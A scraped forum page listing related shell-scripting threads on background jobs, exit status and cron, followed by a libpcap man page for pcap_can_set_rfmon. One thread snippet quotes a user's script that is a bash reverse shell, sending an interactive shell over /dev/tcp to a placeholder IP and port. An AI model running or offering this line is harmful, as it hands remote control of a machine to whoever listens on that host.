Shell Script for continuously checking status of a another script running in background, and immedia Post: 302870093

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

checking exit status of a shell script

Hi, I have tried with the following code; if ;then echo "Failure." else echo "Success." fi to test the exit status of the test.ksh shell script. But whatever is the exit status of the test.ksh shell script Failure. is always printed. Please help. regards, Dipankar.

2. Shell Programming and Scripting

Capturing the exit status of the script running in background

Hi All, I have a scenario where I am executing some child shell scripts in background (using &)through a master parent script. Is there a way I can capture the exit status of each individual child script after the execution is completed.

3. Shell Programming and Scripting

checking to see if a service is running in a shell script

How can I tell, in a shell script, if a certain service is running? I know how to do this on the command line, but not in a script. Is an error thrown somehow that I can check? Thanks.

4. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the...

5. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of...

6. Shell Programming and Scripting

Running Shell Script in the cron, background process

7. Shell Programming and Scripting

Need help in running a script continuously non stop

Hi, I am running a schedular script which will check for a specific time and do the job. I wanted to run this continuously. Meaning even after the if condition is true and it executes the job, it should start running again non stop. I am using below script #!/bin/sh start: while true do...

8. Shell Programming and Scripting

Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database. I am calling 2 scripts which generate the bill 1. bip.sh (it runs in the background) 2.runXitInvoice_PROFORMA_integ bip.sh generates a number which runXitInvoice_PROFORMA_integ uses.How...

9. Shell Programming and Scripting

Script will keep checking running status of another script and also restart called script at night

I am using blow script :-- #!/bin/bash FIND=$(ps -elf | grep "snmp_trap.sh" | grep -v grep) #check snmp_trap.sh is running or not if then # echo "process found" exit 0; else echo "process not found" exec /home/Ketan_r /snmp_trap.sh 2>&1 & disown -h ...

10. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped...

LEARN ABOUT MOJAVE

pcap_can_set_rfmon

PCAP_CAN_SET_RFMON(3PCAP)												 PCAP_CAN_SET_RFMON(3PCAP)

NAME

       pcap_can_set_rfmon - check whether monitor mode can be set for a not-yet-activated capture handle

SYNOPSIS

       #include <pcap/pcap.h>

       int pcap_can_set_rfmon(pcap_t *p);

DESCRIPTION

       pcap_can_set_rfmon() checks whether monitor mode could be set on a capture handle when the handle is activated.

RETURN VALUE

       pcap_can_set_rfmon() returns 0 if monitor mode could not be set, 1 if monitor mode could be set, and a negative value on error.	A negative
       return value indicates what error condition occurred.  The possible error values are:

       PCAP_ERROR_NO_SUCH_DEVICE
	      The capture source specified when the handle was created doesn't exist.

       PCAP_ERROR_PERM_DENIED
	      The process doesn't have permission to check whether monitor mode could be supported.

       PCAP_ERROR_ACTIVATED
	      The capture handle has already been activated.

       PCAP_ERROR
	      Another error occurred.  pcap_geterr() or pcap_perror() may be called with p as an argument to fetch or display a message describing
	      the error.

       Additional  error  codes  may  be  added in the future; a program should check for 0, 1, and negative, return codes, and treat all negative
       return codes as errors.	pcap_statustostr() can be called, with a warning or error code as an argument, to fetch a message  describing  the
       warning or error code.

SEE ALSO

       pcap(3PCAP), pcap_create(3PCAP), pcap_activate(3PCAP), pcap_set_rfmon(3PCAP)

								  3 January 2014					 PCAP_CAN_SET_RFMON(3PCAP)